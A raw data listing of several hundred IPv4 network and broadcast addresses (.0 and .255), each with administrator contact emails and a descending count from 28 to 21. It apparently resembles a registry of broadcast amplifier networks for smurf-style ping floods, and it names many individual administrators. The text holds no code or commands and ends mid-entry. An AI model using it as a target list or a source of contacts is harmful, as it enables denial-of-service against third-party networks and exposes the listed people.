209.146.18.0 hostmaster@idci.net 28 209.146.18.255 hostmaster@idci.net 28 208.212.143.255 david.moyle@teligent.com 28 216.60.108.0 hostmaster@swbell.net 28 209.193.191.255 mromm@kivex.com 27 24.217.1.255 mczakaria@chartercom.com 27 193.50.189.0 blanc@enit.fr 27 193.50.189.255 blanc@enit.fr 27 193.51.50.0 27 194.235.135.255 csl01@mail.telepac.pt 27 198.112.56.0 mikem@cw.com 27 200.17.178.0 gomide@nic.br 27 200.23.40.255 jescalera@mail.nl.gob.mx 27 200.23.43.0 jescalera@mail.nl.gob.mx 27 202.104.150.255 27 202.24.143.255 hostmaster@nic.ad.jp 27 204.131.139.255 emontero@gmgw.com 27 204.171.125.255 sph@nauticom.net 27 204.254.150.0 postmaster@arn.net 27 204.254.150.255 postmaster@arn.net 27 204.30.45.0 herbert.kwok@jwtworks.com 27 204.30.45.255 herbert.kwok@jwtworks.com 27 205.213.180.0 ahintz@wisp.k12.wi.us 27 206.172.156.0 debbie@worldlinx.com 27 206.172.156.255 debbie@worldlinx.com 27 206.172.201.0 debbie@worldlinx.com 27 206.172.201.255 debbie@worldlinx.com 27 206.172.202.0 debbie@worldlinx.com 27 206.172.202.255 debbie@worldlinx.com 27 206.172.203.0 debbie@worldlinx.com 27 206.172.203.255 debbie@worldlinx.com 27 206.172.204.0 debbie@worldlinx.com 27 206.172.204.255 debbie@worldlinx.com 27 206.172.227.0 debbie@worldlinx.com 27 206.172.227.255 debbie@worldlinx.com 27 206.172.240.0 debbie@worldlinx.com 27 206.172.240.255 debbie@worldlinx.com 27 206.172.241.0 debbie@worldlinx.com 27 206.172.241.255 debbie@worldlinx.com 27 206.172.242.0 debbie@worldlinx.com 27 206.172.242.255 debbie@worldlinx.com 27 206.172.243.0 debbie@worldlinx.com 27 206.172.243.255 debbie@worldlinx.com 27 206.172.94.0 debbie@worldlinx.com 27 206.172.94.255 debbie@worldlinx.com 27 207.115.60.255 harrycw@prodigy.net 27 209.233.209.0 ip-admin@pbi.net 27 207.202.66.255 noc@corp.idt.net 27 216.50.134.255 technical@kivex.com 27 207.202.66.0 noc@corp.idt.net 27 206.97.4.0 william.winkel@spencergifts.com 27 208.240.37.0 kuba.tatarkiwicz@themedco.com 27 208.212.74.0 espencer@globix.com 27 208.212.74.255 espencer@globix.com 27 207.153.112.0 noc@netrail.net 27 207.99.208.0 art@lacoe.edu 27 208.152.233.0 doug@cookman.edu 27 207.153.112.255 noc@netrail.net 27 209.233.209.255 ip-admin@pbi.net 27 208.152.233.255 doug@cookman.edu 27 208.144.7.0 DIGICON@mindspring.com 27 209.207.15.0 amcbeth@wacohs.com 27 208.144.7.255 DIGICON@mindspring.com 27 207.115.60.0 harrycw@prodigy.net 27 206.74.159.0 mckee@admin.infoave.net 27 206.74.159.255 mckee@admin.infoave.net 27 207.97.140.0 sbriggs@i-2000.com 27 209.48.15.255 dns@digex.net 27 207.97.140.255 sbriggs@i-2000.com 27 216.1.138.255 dns@digex.net 27 216.27.3.0 mbn@ilan.net 27 207.61.114.0 debbie@bellglobal.com 27 207.61.180.0 debbie@bellglobal.com 27 207.61.184.0 debbie@bellglobal.com 27 207.61.114.255 debbie@bellglobal.com 27 207.61.180.255 debbie@bellglobal.com 27 207.61.184.255 debbie@bellglobal.com 27 208.2.81.255 jstabler@emi.net 27 207.108.165.255 dns-info@uswest.net 27 207.55.63.0 baron@aa.net 27 207.108.165.0 dns-info@uswest.net 27 209.70.110.255 hostmaster@clark.net 27 209.132.128.0 hostmaster@alameda-coe.k12.ca.us 27 208.153.239.0 lnguyen@gstworld.net 27 208.153.239.255 lnguyen@gstworld.net 27 216.60.98.255 hostmaster@swbell.net 26 63.64.128.255 info@schwablearning.org 26 194.167.45.0 bdulmet@ens2m.fr 26 194.193.118.0 26 194.193.118.255 26 194.205.160.0 support@insnet.net 26 198.64.33.0 hostmaster@sesqui.net 26 198.64.33.255 hostmaster@sesqui.net 26 199.104.18.0 hathpaul@ba.isu.edu 26 199.104.18.255 hathpaul@ba.isu.edu 26 199.249.19.255 paul.weber@mci.com 26 200.23.41.255 jescalera@mail.nl.gob.mx 26 200.23.43.255 jescalera@mail.nl.gob.mx 26 200.39.223.255 rgarcia@mvs.com.mx 26 202.212.202.0 hostmaster@nic.ad.jp 26 202.212.202.255 hostmaster@nic.ad.jp 26 202.234.4.0 hostmaster@nic.ad.jp 26 202.234.4.255 hostmaster@nic.ad.jp 26 204.142.205.0 stone@salem.cc.nj.us 26 204.142.205.255 stone@salem.cc.nj.us 26 204.168.129.0 ny0149@mail.nyer.net 26 204.168.129.255 ny0149@mail.nyer.net 26 204.171.125.0 sph@nauticom.net 26 204.245.217.0 spencer@bendnet.com 26 204.245.217.255 spencer@bendnet.com 26 204.255.216.0 sysop@iwl.net 26 204.50.62.255 noc@sprint-canada.net 26 204.73.51.0 mike@haven.com 26 204.73.51.255 mike@haven.com 26 205.221.234.0 grpjl@iastate.edu 26 205.227.63.0 lgoodman@iacnet.com 26 205.244.244.0 ddalton@netreveal.com 26 206.15.182.0 wink@ziplink.net 26 206.163.29.0 spencer@bendnet.com 26 206.163.31.0 hostmaster@rain.net 26 206.163.31.255 hostmaster@rain.net 26 216.103.204.0 ip-admin@pbi.net 26 216.111.166.255 noc@qwest.net 26 216.103.205.255 ip-admin@pbi.net 26 207.215.238.255 jaykata@ltsc.org 26 207.66.244.255 pat@wolfe.net 26 216.111.15.0 PETRONICK@convergence.com 26 216.111.220.0 asadowsky@westla.studley.com 26 216.111.15.255 PETRONICK@convergence.com 26 209.227.70.255 eric@mxol.com 26 216.111.220.255 noc@qwest.net 26 207.165.81.0 dave.klinkefus@icn.state.ia.us 26 209.94.160.0 wells@wctc.net 26 207.164.163.0 debbie@bellglobal.com 26 206.28.86.255 lmarcus@magibox.net 26 209.94.163.255 wells@wctc.net 26 207.164.163.255 debbie@bellglobal.com 26 207.165.81.255 dave.klinkefus@icn.state.ia.us 26 208.169.108.0 ayre@convergence.com 26 208.169.109.0 ayre@convergence.com 26 209.78.215.0 nomailbox@nowhere 26 210.150.28.255 hostmaster@nic.ad.jp 26 208.169.108.255 ayre@convergence.com 26 208.169.109.255 ayre@convergence.com 26 209.78.215.255 nomailbox@nowhere 26 207.107.141.0 noc@sprint-canada.net 26 216.132.110.0 dnstech@eni.net 26 216.132.106.255 dnstech@eni.net 26 216.1.136.0 dns@digex.net 26 209.39.117.255 netadmin@onramp.net 26 216.1.136.255 dns@digex.net 26 208.30.140.255 MPOWELL@hublink.com 26 216.146.128.0 mike@bwn.net 26 207.96.71.0 domreg@erols.com 26 208.215.55.255 bo@quicklink.com 26 209.69.61.0 dns@rust.net 26 209.69.145.0 dns@rust.net 26 210.235.164.0 hostmaster@nic.ad.jp 26 209.69.176.0 chris@sensible-net.com 26 209.69.61.255 26 209.69.176.255 chris@sensible-net.com 26 206.176.32.0 kimh@is.state.sd.us 26 209.47.137.255 bmollon@saatchi.ca 26 207.28.180.255 dave.klinkefus@icn.state.ia.us 26 209.208.223.0 hostmaster@pfmc.net 26 208.232.127.255 nomailbox@nowhere 26 209.208.223.255 hostmaster@pfmc.net 26 207.203.4.255 ipadmin@bellsouth.net 26 209.132.128.255 hostmaster@alameda-coe.k12.ca.us 26 206.176.32.255 kimh@is.state.sd.us 26 208.228.41.255 bkressman@netexplorer.com 26 209.100.174.255 noc@uss.net 26 209.193.191.0 mromm@kivex.com 26 209.215.115.255 ipadmin@bellsouth.net 25 24.6.16.0 noc@noc.home.net 25 192.208.22.0 hays@wapa.gov 25 192.208.22.255 hays@wapa.gov 25 192.251.100.255 MCCOY@ucsvm.mcneese.edu 25 193.106.23.0 yp@jouve.fr 25 193.205.54.255 staff-lir@garr.net, Enzo.Valente@infn.it, maint@imiucsc.bitnet, mlombard@mi.unicatt.it 25 194.151.209.0 said@interclimax.com 25 194.57.10.0 techfem@mobilia.it 25 194.57.10.255 techfem@mobilia.it 25 195.27.208.255 spona@tmt.de, hoereth@tmt.de, peter.maisel@maisel.de, hostmaster@maisel.de 25 198.145.48.255 dns@e-z.net 25 199.182.216.0 Louis_Lee@icgcomm.com 25 199.182.216.255 Louis_Lee@icgcomm.com 25 200.23.41.0 jescalera@mail.nl.gob.mx 25 200.39.223.0 rgarcia@mvs.com.mx 25 202.104.150.0 25 202.77.222.0 belcina@attmail.com 25 202.77.222.255 belcina@attmail.com 25 203.244.121.0 ikoh@rs.krnic.net, syha@rs.krnic.net 25 203.244.121.255 ikoh@rs.krnic.net, syha@rs.krnic.net 25 203.38.29.0 hostmaster@telstra.net 25 204.171.52.0 crbaugh@pennet.com 25 204.171.52.255 crbaugh@pennet.com 25 204.4.229.0 hostinfo@psi.com 25 204.4.229.255 hostinfo@psi.com 25 205.126.59.0 mcleary@uen.org 25 205.126.59.255 mcleary@uen.org 25 205.139.127.255 kerrigan@syrlang.com 25 205.143.126.255 rtesta@gia.org 25 205.184.238.0 root@cattco.com 25 205.184.238.255 root@cattco.com 25 205.221.100.0 grpjl@iastate.edu 25 205.221.100.255 grpjl@iastate.edu 25 205.221.234.255 grpjl@iastate.edu 25 205.221.235.0 grpjl@iastate.edu 25 205.221.235.255 grpjl@iastate.edu 25 205.244.244.255 ddalton@netreveal.com 25 206.108.86.0 bhewlitt@interlog.com 25 206.108.86.255 bhewlitt@interlog.com 25 206.170.104.0 rlai@paclink.net 25 207.158.27.255 dns@adnc.com 25 208.129.111.0 pablo@mmind.net 25 210.169.71.0 hostmaster@nic.ad.jp 25 209.102.84.0 dns-admin@ixa.net 25 207.16.219.255 help@uunet.uu.net 25 210.224.249.255 hostmaster@nic.ad.jp 25 208.130.144.0 nomailbox@nowhere 25 207.66.244.0 pat@wolfe.net 25 210.224.249.0 hostmaster@nic.ad.jp 25 210.161.160.255 hostmaster@nic.ad.jp 25 216.101.120.0 ip-admin@pbi.net 25 207.16.219.0 help@uunet.uu.net 25 207.215.238.0 jaykata@ltsc.org 25 210.169.71.255 hostmaster@nic.ad.jp 25 216.101.123.255 ip-admin@pbi.net 25 212.250.2.0 nmc@ntli.net, bob.procter@ntli.net 25 212.140.54.0 support@bt.net 25 212.140.55.0 support@bt.net 25 209.82.81.0 NOCToronto@metronet.ca 25 210.141.247.0 hostmaster@nic.ad.jp 25 212.250.2.255 nmc@ntli.net, bob.procter@ntli.net 25 209.82.81.255 NOCToronto@metronet.ca 25 209.82.88.255 NOCToronto@metronet.ca 25 210.141.247.255 hostmaster@nic.ad.jp 25 208.243.98.0 dave@mva.net 25 208.243.100.0 dave@mva.net 25 208.243.101.0 dave@mva.net 25 210.127.200.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 25 208.243.98.255 dave@mva.net 25 208.243.99.255 dave@mva.net 25 208.243.100.255 25 208.130.144.255 nomailbox@nowhere 25 208.225.145.0 postmaster@dnap.com 25 209.167.146.0 itelford@scaleable.com 25 207.161.8.255 traceyv@tds.mb.ca 25 209.183.215.0 noc@atlantech.net 25 208.243.99.0 dave@mva.net 25 207.107.141.255 noc@sprint-canada.net 25 216.132.107.0 dnstech@eni.net 25 216.132.111.255 dnstech@eni.net 25 210.127.194.255 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 25 216.1.138.0 dns@digex.net 25 208.168.208.0 julianc@peganet.net 25 210.163.253.0 hostmaster@nic.ad.jp 25 216.132.107.255 dnstech@eni.net 25 208.168.208.255 julianc@peganet.net 25 210.74.226.0 std-gm@online.sh.cn, std-gm@online.sh.cn 25 208.201.208.255 shai@interramp.com 25 208.219.165.0 dchayer@research.yankeegroup.c 25 208.219.165.255 dchayer@research.yankeegroup.c 25 208.20.180.255 aweisblatt@diefenbachelkins.com 25 208.2.81.0 jstabler@emi.net 25 209.107.45.255 hostmaster@co.verio.net 25 209.227.75.0 eric@mxol.com 25 208.192.231.255 noc@interactive.net 25 209.12.84.0 acasec@mindspring.com 25 209.100.183.0 danh@tbcnet.com 25 209.12.84.255 acasec@mindspring.com 25 207.249.144.0 nobody@nowhere.com.mx 25 208.18.250.0 jlytle@magicorp.com 25 208.18.250.255 jlytle@magicorp.com 24 24.4.63.0 noc@noc.home.net 24 24.6.16.255 noc@noc.home.net 24 63.64.218.0 ryanm@carr.org 24 63.64.219.0 help@uunet.uu.net 24 167.216.167.0 tom@htdc.org 24 192.246.231.0 hostinfo@psi.com 24 192.246.231.255 hostinfo@psi.com 24 194.168.1.0 nmc@ntli.net, chrism@cableol.net 24 194.168.1.255 nmc@ntli.net, chrism@cableol.net 24 195.198.22.0 24 195.198.22.255 24 195.249.88.0 24 195.7.84.255 daniel@sandberg.se, johan@pi.se 24 198.119.8.0 Curt.A.Suprock.1@gsfc.nasa.gov 24 198.119.8.255 Curt.A.Suprock.1@gsfc.nasa.gov 24 198.150.128.255 jengel@co.waukesha.wi.us 24 198.64.44.255 hostmaster@sesqui.net 24 199.1.158.255 netadmin@onramp.net 24 199.108.74.0 dns@cerf.net 24 200.0.224.0 jorge@satlink.com 24 202.132.227.0 ip@ktnet.co.kr 24 202.132.227.255 dyang@mky.com, jackey@mky.com 24 202.232.118.0 hostmaster@nic.ad.jp 24 202.232.118.255 hostmaster@nic.ad.jp 24 202.33.96.0 hostmaster@nic.ad.jp 24 203.127.27.0 meng@mediacity.com.sg, hostmaster@singnet.com.sg 24 203.127.27.255 meng@mediacity.com.sg, hostmaster@singnet.com.sg 24 203.8.88.0 roger@next.com.au 24 204.131.139.0 emontero@gmgw.com 24 204.151.38.0 bterry@burnettgroup.com 24 204.151.38.255 bterry@burnettgroup.com 24 204.179.122.0 mdg@epnet.com 24 204.179.122.255 mdg@epnet.com 24 204.233.66.255 Thane_White@shscom.com 24 204.34.17.255 24 205.169.44.255 wgrendle@csn.net 24 205.178.84.0 dave@brainstorm.net 24 205.205.132.0 dgiroux@cenosis.com 24 205.253.114.255 karl@mcs.com 24 206.194.58.255 wray@nevada.edu 24 206.194.58.0 wray@nevada.edu 24 207.177.42.255 noc@netins.net 24 207.1.191.0 dspeed@midusa.net 24 207.22.96.0 hostmaster@clark.net 24 207.22.96.255 hostmaster@clark.net 24 212.250.1.0 nmc@ntli.net, pulak.rakshit@ntli.net 24 210.164.17.0 hostmaster@nic.ad.jp 24 210.227.123.0 hostmaster@nic.ad.jp 24 212.250.1.255 nmc@ntli.net, pulak.rakshit@ntli.net 24 210.164.17.255 hostmaster@nic.ad.jp 24 210.227.123.255 hostmaster@nic.ad.jp 24 207.183.136.255 noc@unicom.net 24 212.140.54.255 support@bt.net 24 207.109.152.255 dns-info@uswest.net 24 207.50.128.0 dnsadmin@eznet.net 24 209.105.128.0 dnsadmin@eznet.net 24 209.105.130.0 dnsadmin@eznet.net 24 207.50.137.0 dnsadmin@eznet.net 24 208.157.157.0 billing@eznet.net 24 208.145.15.255 stephent@intelis.com 24 207.50.128.255 dnsadmin@eznet.net 24 209.105.129.255 dnsadmin@eznet.net 24 209.105.131.255 dnsadmin@eznet.net 24 207.50.137.255 dnsadmin@eznet.net 24 208.157.157.255 billing@eznet.net 24 212.158.14.0 support@insnet.net 24 208.227.188.0 nb@jobtrak.com 24 212.158.14.255 support@insnet.net 24 208.227.188.255 nb@jobtrak.com 24 208.6.63.0 postmaster@watsonelec.com 24 208.6.63.255 postmaster@watsonelec.com 24 216.132.106.0 dnstech@eni.net 24 208.14.42.255 jerry@digital.net 24 207.42.162.255 postmaster@southernvirginia.edu 24 207.225.69.0 dlongar@uswest.net 24 209.75.96.255 noc@atmnet.net 24 209.227.41.0 eric@mxol.com 24 206.222.63.0 kreed@artmarkchicago.com 24 208.192.231.0 noc@interactive.net 24 206.222.63.255 kreed@artmarkchicago.com 24 216.101.206.255 ip-admin@pbi.net 24 209.166.16.0 hostmaster@ultracom.net 24 206.23.174.0 jwinters@tec.net 24 206.23.174.255 jwinters@tec.net 24 209.198.202.255 24 208.228.41.0 bkressman@netexplorer.com 24 207.174.151.0 jmiller@netinfrastructure.com 24 207.249.144.255 nobody@nowhere.com.mx 24 207.174.151.255 jmiller@netinfrastructure.com 24 209.95.150.0 bob@storkeavenue.com 24 208.26.206.0 pete@ashland.or.us 24 207.249.142.255 nobody@nowhere.com.mx 24 208.26.206.255 pete@ashland.or.us 24 210.236.171.255 hostmaster@nic.ad.jp 24 209.106.21.255 ben@more.net 23 63.64.218.255 ryanm@carr.org 23 63.64.219.255 help@uunet.uu.net 23 63.65.8.255 twright@cathedral.org 23 129.113.180.0 burnett@panam1.panam.edu 23 129.113.180.255 burnett@panam1.panam.edu 23 155.36.122.0 scott@ties.org 23 155.36.122.255 scott@ties.org 23 155.36.123.0 scott@ties.org 23 155.36.123.255 scott@ties.org 23 192.204.250.0 trouble@prep.net 23 192.204.250.255 trouble@prep.net 23 192.251.100.0 MCCOY@ucsvm.mcneese.edu 23 193.106.9.255 yp@jouve.fr 23 194.73.96.0 dcheetham@gateshead.ac.uk 23 194.73.96.255 dcheetham@gateshead.ac.uk 23 195.220.107.0 23 198.168.5.255 registrar@interlink.net 23 199.108.250.0 dns@cerf.net 23 199.35.107.255 rick@merc-int.com 23 200.5.200.0 nomailbox@nowhere 23 200.5.200.255 nomailbox@nowhere 23 202.213.5.255 hostmaster@nic.ad.jp 23 203.139.53.0 hostmaster@nic.ad.jp 23 203.139.53.255 hostmaster@nic.ad.jp 23 203.146.30.0 kanok@loxinfo.co.th, patkamol@loxinfo.co.th 23 203.8.88.255 roger@next.com.au 23 204.0.28.0 hostmaster@sesqui.net 23 204.0.28.255 hostmaster@sesqui.net 23 204.112.189.0 admin@autobahn.mb.ca 23 204.112.189.255 admin@autobahn.mb.ca 23 204.152.143.0 ellen.eidelman@wizcom.com 23 204.152.143.255 ellen.eidelman@wizcom.com 23 204.160.19.255 pat@tandem.com 23 204.17.16.0 rjcurry.oramail@apollogrp.edu 23 204.17.16.255 rjcurry.oramail@apollogrp.edu 23 204.48.153.255 tuma@ceo.sbceo.k12.ca.us 23 204.57.191.0 john@bmi.net 23 204.57.191.255 john@bmi.net 23 204.7.180.0 hostinfo@psi.com 23 204.7.180.255 hostinfo@psi.com 23 205.120.114.0 mcleary@uen.org 23 205.120.114.255 mcleary@uen.org 23 205.120.116.0 mcleary@uen.org 23 205.120.116.255 mcleary@uen.org 23 205.125.42.0 mcleary@uen.org 23 205.125.42.255 mcleary@uen.org 23 205.237.226.255 nomailbox@nowhere 23 206.100.150.0 nomailbox@nowhere 23 206.138.26.0 dholowesko@bahamas.net.bs 23 206.138.26.255 dholowesko@bahamas.net.bs 23 206.150.180.0 billw@mail.icongrp.com 23 206.150.180.255 billw@mail.icongrp.com 23 207.177.123.0 noc@netins.net 23 206.20.225.0 noc@corp.idt.net 23 207.177.123.255 noc@netins.net 23 207.233.136.0 noc@diginetusa.net 23 207.233.136.255 noc@diginetusa.net 23 206.20.225.255 noc@corp.idt.net 23 210.225.98.255 hostmaster@nic.ad.jp 23 207.238.117.0 dns@digex.net 23 207.238.117.255 dns@digex.net 23 207.165.86.0 dave.klinkefus@icn.state.ia.us 23 208.203.150.0 dbach@globally.net 23 208.154.170.0 ipadmin@cw.net 23 208.203.150.255 dbach@globally.net 23 208.154.170.255 ipadmin@cw.net 23 207.109.152.0 dns-info@uswest.net 23 207.205.184.0 netadmin@ao.wcom.net 23 207.205.188.0 netadmin@ao.wcom.net 23 207.205.250.0 netadmin@ao.wcom.net 23 207.205.187.255 netadmin@ao.wcom.net 23 207.205.191.255 netadmin@ao.wcom.net 23 207.205.250.255 netadmin@ao.wcom.net 23 208.247.2.0 hostmaster@btitelecom.net 23 208.145.15.0 stephent@intelis.com 23 208.247.2.255 hostmaster@btitelecom.net 23 207.165.86.255 dave.klinkefus@icn.state.ia.us 23 208.138.51.0 superdb@phonewave.net 23 209.213.224.0 brad@odyssey.on.ca 23 209.213.225.0 brad@odyssey.on.ca 23 209.213.229.0 brad@odyssey.on.ca 23 209.213.230.0 brad@odyssey.on.ca 23 209.213.232.0 brad@odyssey.on.ca 23 208.168.238.0 rpost@remc8.k12.mi.us 23 209.213.240.0 23 208.138.51.255 superdb@phonewave.net 23 209.43.195.255 domain@accessone.com 23 209.213.224.255 brad@odyssey.on.ca 23 209.213.225.255 brad@odyssey.on.ca 23 209.213.229.255 brad@odyssey.on.ca 23 209.213.230.255 brad@odyssey.on.ca 23 209.213.232.255 brad@odyssey.on.ca 23 208.168.238.255 rpost@remc8.k12.mi.us 23 209.213.240.255 23 209.39.136.0 23 207.190.143.0 hostmaster@source.net 23 206.81.214.0 dns-info@uswest.net 23 208.129.226.0 vince@markzware.com 23 209.133.52.255 ecsd@transbay.net 23 209.190.102.255 hostmaster@thenap.net 23 207.190.143.255 hostmaster@source.net 23 208.129.226.255 vince@markzware.com 23 210.224.143.0 hostmaster@nic.ad.jp 23 207.62.155.255 netadmin@moe.calpoly.edu 23 208.5.185.0 nomailbox@nowhere 23 208.5.185.255 nomailbox@nowhere 23 207.247.41.0 William_Brechka@wcom.com 23 207.247.41.255 William_Brechka@wcom.com 23 206.201.241.255 scarr@huensd.k12.ca.us 23 207.62.158.255 netadmin@moe.calpoly.edu 23 206.43.52.255 baron@aa.net 23 209.56.155.255 dave.klinkefus@icn.state.ia.us 23 216.116.105.0 michael@sctraining.com 23 209.76.79.0 emorton@shastalink.k12.ca.us 23 209.122.30.255 domreg@erols.com 23 209.76.79.255 emorton@shastalink.k12.ca.us 23 207.174.179.0 jmiller@netinfrastructure.com 23 207.174.179.255 jmiller@netinfrastructure.com 23 216.168.240.255 cwei@netsol.com 22 24.4.63.255 (none) 22 24.6.19.0 noc@noc.home.net 22 192.160.219.0 greenup@whittier.edu 22 193.104.180.255 22 193.106.23.255 yp@jouve.fr 22 193.15.208.0 22 193.252.125.0 postmaster@wanadoo.fr, abuse@wanadoo.fr, Sylvain.Causse@wanadoo.com 22 193.252.125.255 postmaster@wanadoo.fr, abuse@wanadoo.fr, Sylvain.Causse@wanadoo.com 22 193.98.234.0 admin@bbr-bremen.de 22 193.98.234.255 admin@bbr-bremen.de 22 195.14.130.0 c.a.makris@cytanet.com.cy 22 195.14.130.255 c.a.makris@cytanet.com.cy 22 195.14.133.0 c.a.makris@cytanet.com.cy 22 195.14.133.255 c.a.makris@cytanet.com.cy 22 195.171.110.0 22 195.171.110.255 22 195.41.127.0 aloc@image.dk 22 198.150.128.0 jengel@co.waukesha.wi.us 22 198.180.133.0 dnorwood@asnaam.aamu.edu 22 198.180.133.255 dnorwood@asnaam.aamu.edu 22 198.74.38.0 kengle@dynamix.com 22 198.74.38.255 kengle@dynamix.com 22 199.111.112.0 jaj@virginia.edu 22 199.182.135.255 hostmaster@maxstrat.com 22 200.47.63.0 linoc@comsat.com.ar 22 202.103.129.0 22 202.167.1.0 22 202.167.1.255 22 202.212.212.0 hostmaster@nic.ad.jp 22 203.126.205.0 hostmaster@singnet.com.sg 22 203.126.205.255 hostmaster@singnet.com.sg 22 203.29.106.0 hostmaster@telstra.net 22 204.116.114.0 22 204.116.114.255 22 204.116.96.0 mckee@admin.infoave.net 22 204.131.140.255 emontero@gmgw.com 22 204.152.145.0 netmaster@organic.com 22 204.152.145.255 netmaster@organic.com 22 204.181.91.255 nomailbox@nowhere 22 204.196.30.255 shreid@alpha.nsula.edu 22 204.228.247.255 bgore@mti.micron.com 22 204.239.13.0 luv@district.north-van.bc.ca 22 204.239.13.255 luv@district.north-van.bc.ca 22 204.4.60.0 postmaster@harbinger.com 22 204.4.60.255 postmaster@harbinger.com 22 204.44.244.0 tahiels@worldnet.att.net 22 204.44.244.255 tahiels@worldnet.att.net 22 204.7.9.255 hostinfo@psi.com 22 205.126.58.0 mcleary@uen.org 22 205.126.58.255 mcleary@uen.org 22 205.143.123.255 rtesta@gia.org 22 205.208.65.255 mhwu@metropolitan.com 22 205.213.18.255 Marlys.A.Nelson@uwrf.edu 22 205.243.90.0 nomailbox@nowhere 22 205.243.90.255 nomailbox@nowhere 22 205.246.52.0 carter@dgsys.com 22 206.0.253.0 hostinfo@psi.com 22 206.0.253.255 hostinfo@psi.com 22 206.104.102.0 netadmin@onramp.net 22 206.104.102.255 netadmin@onramp.net 22 206.16.91.0 dns@cerf.net 22 206.161.8.0 domreg@cais.net 22 206.161.8.255 domreg@cais.net 22 206.166.243.0 mwilliam@ptc.dcs.edu 22 207.213.24.0 dennis@globalpac.com 22 207.213.24.255 dennis@globalpac.com 22 208.152.72.0 noc@extremezone.com 22 208.151.138.0 22 210.134.206.0 hostmaster@nic.ad.jp 22 210.156.209.0 hostmaster@nic.ad.jp 22 210.156.210.0 hostmaster@nic.ad.jp 22 210.156.210.255 hostmaster@nic.ad.jp 22 207.165.80.0 dave.klinkefus@icn.state.ia.us 22 209.215.20.0 ipadmin@bellsouth.net 22 216.78.24.0 ipadmin@bellsouth.net 22 209.214.200.0 ipadmin@bellsouth.net 22 209.215.220.0 ipadmin@bellsouth.net 22 209.215.20.255 ipadmin@bellsouth.net 22 216.78.25.255 ipadmin@bellsouth.net 22 209.214.201.255 ipadmin@bellsouth.net 22 207.202.18.0 rosterman@rtquotes.com 22 210.172.192.0 hostmaster@nic.ad.jp 22 209.63.195.0 sforester@e-infoinc.com 22 210.172.217.0 hostmaster@nic.ad.jp 22 207.202.18.255 rosterman@rtquotes.com 22 207.165.80.255 dave.klinkefus@icn.state.ia.us 22 210.172.192.255 hostmaster@nic.ad.jp 22 209.63.195.255 sforester@e-infoinc.com 22 207.193.232.255 hostmaster@swbell.net 22 206.234.131.0 hostinfo@psi.com 22 209.162.12.0 noc@thegrid.net 22 209.162.40.0 noc@thegrid.net 22 209.162.54.0 noc@thegrid.net 22 210.175.200.0 hostmaster@nic.ad.jp 22 209.162.0.255 noc@thegrid.net 22 209.234.11.255 Al.Johnson@state.net 22 209.162.47.255 noc@thegrid.net 22 209.162.54.255 noc@thegrid.net 22 210.175.200.255 hostmaster@nic.ad.jp 22 206.54.236.255 jmcdonald@megsinet.net 22 209.234.11.0 Al.Johnson@state.net 22 207.141.96.0 nomailbox@nowhere 22 209.181.178.0 dns-info@uswest.net 22 209.181.179.0 dns-info@uswest.net 22 208.207.33.255 noc@bigplanet.net 22 207.141.96.255 nomailbox@nowhere 22 206.234.131.255 hostinfo@psi.com 22 210.175.20.0 hostmaster@nic.ad.jp 22 207.16.68.0 minieri@harbinger.net 22 207.16.71.0 minieri@harbinger.net 22 209.78.199.0 david.barnes@goar.com 22 209.119.14.255 noc@digex.net 22 207.16.68.255 minieri@harbinger.net 22 207.16.71.255 minieri@harbinger.net 22 209.78.199.255 david.barnes@goar.com 22 207.42.162.0 postmaster@southernvirginia.edu 22 209.213.205.255 mickey@nanospace.com 22 216.3.77.0 dns@digex.net 22 207.28.182.0 dave.klinkefus@icn.state.ia.us 22 216.101.60.255 nomailbox@nowhere 22 216.3.77.255 dns@digex.net 22 207.28.182.255 dave.klinkefus@icn.state.ia.us 22 206.81.214.255 dns-info@uswest.net 22 209.73.238.0 hostmaster@pfmc.net 22 209.73.238.255 hostmaster@pfmc.net 22 208.14.86.0 mussel@ix.netcom.com 22 206.50.218.0 netadmin@onramp.net 22 208.14.86.255 mussel@ix.netcom.com 22 206.50.218.255 netadmin@onramp.net 22 209.14.135.255 dnr@spacelab.net 22 216.32.96.255 Cstewart@flycast.com 22 207.154.48.0 carter@dgsys.com 22 207.154.48.255 carter@dgsys.com 22 208.237.218.255 kjustice@bellatantic.net 22 208.228.243.255 mpladsen@ustele.com 22 216.101.60.0 nomailbox@nowhere 21 24.217.0.255 mczakaria@chartercom.com 21 155.50.21.0 bgallant@keps.com 21 155.50.21.255 bgallant@keps.com 21 161.223.77.255 21 192.204.141.0 21 192.204.141.255 21 192.72.144.0 kaoci@tpts1.seed.net.tw 21 192.72.144.255 kaoci@tpts1.seed.net.tw 21 193.158.2.0 tgoetz@cube.net, Horn@eins-und-eins.de 21 193.164.172.255 tony@anglianet.co.uk 21 193.48.165.255 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 21 194.168.215.0 nmc@ntli.net 21 194.6.190.0 postmaster@hitline.ch 21 195.179.117.0 lillge@is-europe.net 21 195.222.211.255 21 198.189.54.255 nes@4c.net 21 198.59.97.0 valdez@chicoma.unm.losalamos.nm.us 21 198.59.97.255 valdez@chicoma.unm.losalamos.nm.us 21 199.108.249.0 dns@cerf.net 21 199.108.251.0 dns@cerf.net 21 200.23.168.0 alex@lince.itcelaya.ciateq.mx 21 200.23.42.0 jescalera@mail.nl.gob.mx 21 200.41.130.0 mariano.okon@tld.net.ar 21 200.41.130.255 mariano.okon@tld.net.ar 21 202.103.134.0 21 202.103.160.0 dmkou@publicf.bta.net.cn, wumian@gdnmc.guangzhou.gd.cn 21 202.32.54.0 hostmaster@nic.ad.jp 21 202.96.137.0 21 203.149.0.0 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.0.255 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.33.0 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.33.255 chalee@samart.co.th, siriporn@samart.co.th 21 203.176.24.0 reyc@pworld.net.ph, map@iphil.net 21 203.176.56.0 fdcj@iphil.net, map@iphil.net 21 203.176.6.0 reyc@pworld.net.ph, map@iphil.net 21 203.242.136.0 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.136.255 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.255.0 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.255.255 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.75.104.255 admin@hinet.net, chlin@netnews.hinet.net 21 204.131.140.0 emontero@gmgw.com 21 204.131.142.255 emontero@gmgw.com 21 204.133.157.255 kenf@evt.com 21 204.228.247.0 bgore@mti.micron.com 21 204.248.234.0 bhufendick@forsythe.com 21 